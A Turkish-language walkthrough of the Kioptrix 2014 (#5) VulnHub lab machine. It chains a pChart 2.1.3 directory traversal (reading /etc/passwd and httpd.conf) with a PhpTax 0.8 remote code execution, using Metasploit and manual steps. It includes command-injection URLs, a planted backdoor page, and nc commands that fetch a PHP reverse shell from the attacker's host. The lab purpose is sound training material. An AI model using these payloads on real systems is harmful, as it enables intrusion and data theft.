FreeBSD İşletim Sisteminde pChart 2.1.3 PHP Kütüphanesindeki ve PhpTax 0.8 Uygulamasındaki Zafiyetlerin İstismar Edilerek Komut Satırı Erişiminin Elde Edilmesi

Web uygulamaları sızma testleri sırasında kullanılan zafiyetli kütüphanelerin ve yazılımların istismar edilmesi ile uygulama sunucusunun komut satırına erişim sağlanabilir. Bu yazıda, Kioptrix (Seviye – 1.4 [#5]) sanal makinesinde hizmet veren bir web uygulamasının kullandığı pChart 2.1.3 PHP kütüphanesinin dizin gezinme zafiyeti istismarı ile keşfedilen PhpTax 0.8 yazılımındaki uzaktan komut çalıştırma zafiyeti istismar edilerek işletim sistemine erişim sağlanacaktır.

Yazıda kullanılan Kioptrix: Seviye – 1.4 (#5) sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/kioptrix_2014-5,62/

 

A) PhpTax Keşfi: pChart İstismarı ve User-Agent Tespiti

TCP taraması gerçekleştirildiğinde 80, 8080 ve 22 portlarının açık olduğu görülür. Ayrıca işletim sisteminin de FreeBSD olduğu görülmektedir.

nmap -A 172.20.50.130 -Pn -n –open

 

TCP 80 portuna web tarayıcı ile erişim sağlanabiliyorken, TCP 8080 portuna erişim sağlanamaya çalışıldığında yetki (403) hatası alınmaktadır. Yapılacak keşif ile bu hatanın sebebinin “httpd.conf” dosyasındaki User-Agent kısıtı olduğu görülecektir. FreeBSD sunucudaki “httpd.conf” dosyasına erişmek için de 80 portunda hizmet veren uygulamadaki dizin gezinimi zafiyeti istismar edilecektir.

 

A.1) pChart 2.1.3 PHP Kütüphanesindeki Dizin Gezinimi Zafiyetinin İstismarı

TCP 80 portundaki web hizmetinin sunduğu sayfanın kaynak kodu incelendiğinde pChart 2.1.3 kullanıldığı görülür.

 

Bu sürümde Dizin Gezinme (Directory Traversal) zafiyeti bulunmaktadır.

searchsploit pChart
cat /usr/share/exploitdb/platforms/php/webapps/31173.txt

 

Zafiyetin istismar edilerek uygulama kullanıcısı yetkileri (www) ile dosyalar okunabilmektedir.

http://172.20.50.130/pChart2.1.3/examples/index.php?Action=View&Script=/etc/passwd

 

A.2) User-Agent Keşfi

TCP 8080 portuna erişim sağlanmak istendiğinde yetki hatası alınmaktadır. Bu hatanın bir çok sebebi olabilir. Ana sebebi öğrenmek için “/usr/local/etc/apache22/httpd.conf” dosyası okunabilir.

http://172.20.50.130/pChart2.1.3/examples/index.php?Action=View&Script=/usr/local/etc/apache22/httpd.conf

 

Not: Hedef sanal makine FreeBSD‘dir. FreeBSD diğer Linux tabanlı işletim sistemlerinden farklı olarak Apache logları varsayılan olarak “var/log/apache/access.log” dosyasında değil “/var/log/httpd-access.log” dosyasında saklar; Apache veri dizini olarak varsayılan durumda “/var/www/” dizinini değil “/usr/local/www/apache22/data” dizinini kullanır. Bu sebeple “httpd.conf” dosyası “/usr/local/etc/apache22/” dizininde aranmıştır.

İstenilen User-Agent (Mozilla/4.0 Mozilla4_browser) ile 8080 portuna erişim sağlanabildiği görülmektedir.

curl -H “User-Agent:Mozilla/4.0” http://172.20.50.130:8080
curl -H “User-Agent:Mozilla/4.0” http://172.20.50.130:8080/phptax

 

Benzer olarak Burp Suite gibi bir vekil uygulama ile araya girilerek User-Agent bilgisi değiştirilince de sayfaya erişim sağlanabilir.

 

Not: User-Agent değerini kaba kuvvet yöntemi ile tespit etmek için Github bağlantısındaki gibi Curl aracı da kullanılabilir.

https://gist.github.com/Maleus/6a062c3141c78d51e163

for satir in $(cat Liste); do curl -s -IL -A $satir -w %{http_code} http://172.20.50.130:8080 -o /dev/null; echo “–$satir”; done

 

B) PhpTax 0.8 Uygulamasındaki Uzaktan Komut Çalıştırma Zafiyetinin İstismarı

Normalde erişim sağlanamayan TCP 8080 portundaki web servisine erişim sağlanarak “/phptax/” dizini keşfedilmişti. PhpTax, gelir vergisi raporu üretmek için kullanılan bir yazılımdır. Bu yazılımda bulunan uzaktan kod çalıştırma (Remote Code ExecutionRCE) zafiyeti ile işletim sistemine uygulama kullanıcı yetkileri (www) ile erişim sağlanabilir.

B.1) MSF phptax_exec İstismar Modülü ile Komut Satırına Erişim

MSF phptax_exec istismar modülü ile komut satırı erişimi elde etmek için modül seçenekleri incelenir.

search phptax
use exploit/multi/http/phptax_exec
show options

 

Seçenekler ayarlanarak istismar işlemi gerçekleştirilir ve varsayılan Payload (cmd/unix/reverse) ile komut satırına erişim sağlanır.

set RHOST 172.20.50.130
set RPORT 8080
exploit
id

 

B.2) Manuel Olarak Komut Satırına Erişim

PhpTax yazılımı ile ilgili zafiyet için Exploit-db‘den araştırma yapılabilir. Benzer olarak searchsploit aracı ile de zafiyetlere ait istismar kodları çevrimdışı olarak listelenebilir.

searchsploit phptax
head -45 /usr/share/exploitdb/platforms/php/webapps/21665.txt | tail -25

 

Zafiyetin istismarı için ABCDE ile belirtilen yere istenilen komutun yazılması gerekmektedir.

http://172.20.50.130:8080/phptax/drawimage.php?pfilez=xxx;ABCDE;&pdf=make

 

21665.txt dosyasındaki adımlari gerçekleştirmek için öncelikle “nc” dosyasının yeri “/usr/bin/nc” olarak bulunur.

http://172.20.50.130:8080/phptax/drawimage.php?pfilez=xxx;%20which%20nc%20%3E%20ncDosyasininYeri.txt;&pdf=make

 

Ancak belirtilen işlemler (“/usr/bin/nc -v -l -p 23235 -e /bin/bash” gibi) yapılmasına rağmen, FreeBSD işletim sisteminde “nc” aracının çalıştırma (execute) seçeneği olmadığı için, erişim elde edilememiştir. Bunun üzerine komut enjeksiyonu zafiyeti barındıran bir sayfa (arka kapı) oluşturularak bu sayfanın çağırılması sağlanmıştır. Komut enjeksiyonu için aşağıdaki satırı içeren bir dosya kullanılacaktır.

 

Yukarıdaki ifadede bulunan özel karakterler kaçış karakteri (“\”) ile bir dosyaya yazdırılabilir.

 

“ABCDE” ile belirtilen kısma yukarıdaki ifade yazıldığında ilgili sayfa hedef sanal makinede oluşur.

 

 

Yeni sayfa üzerinden istenilen komut çalıştırılabilir.

http://172.20.50.130:8080/phptax/YeniSayfa.php?komut=pwd;echo “—-“;id;echo “—-“;uname -a;echo “—-“;whereis nc

 

Komut satırı erişimi elde etmek için hedef sisteme Kali üzerindeki zararli bir PHP dosyası (kurban makinenin erişim sağlayacağı saldırgan makineye ait IP ve Port bilgileri ayarlanarak) yüklenebilir.

grep CHANGE /usr/share/webshells/php/php-reverse-shell.php
nc -nlvp 13579 < /usr/share/webshells/php/php-reverse-shell.php
http://172.20.50.130:8080/phptax/YeniSayfa.php?komut=/usr/bin/nc 172.20.50.128 13579 > ZararliDosya.php &

 

Dinleyici başlatıldıktan sonra bu dosya çağırılarak komut satırı erişimi elde edilebilir.

nc -nlvp 5555
http://172.20.50.130:8080/phptax/ZararliDosya.php

 

Not: TechOrganic blog yazısında olduğu gibi ABCDE ile bırakılan kısma “printf” ve “GET” fonksiyonları kullanılarak uzantısı “txt” olarak değiştirilmiş zararlı dosya hedefe yüklenebilir ve yüklenen dosya (Kali-php-reverse-shell.php) çağrıldığında komut satırı erişimi elde edilebilir.

printf “GET http://172.20.50.128/Kali-php-reverse-shell.txt HTTP/1.0\r\n\r\n” > ZararliDosya.txt
nc 172.20.50.128 80 < ZararliDosya.txt > Kali-php-reverse-shell.php
nc -nlvp 5555

 

Kaynaklar:

http://www.hackingarticles.in/hack-kioptrix-vm-ctf-challenge/
[VULNHUB] Kioptrix: 2014 (#5)
https://blog.techorganic.com/2014/04/08/kioptrix-hacking-challenge-part-5/

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.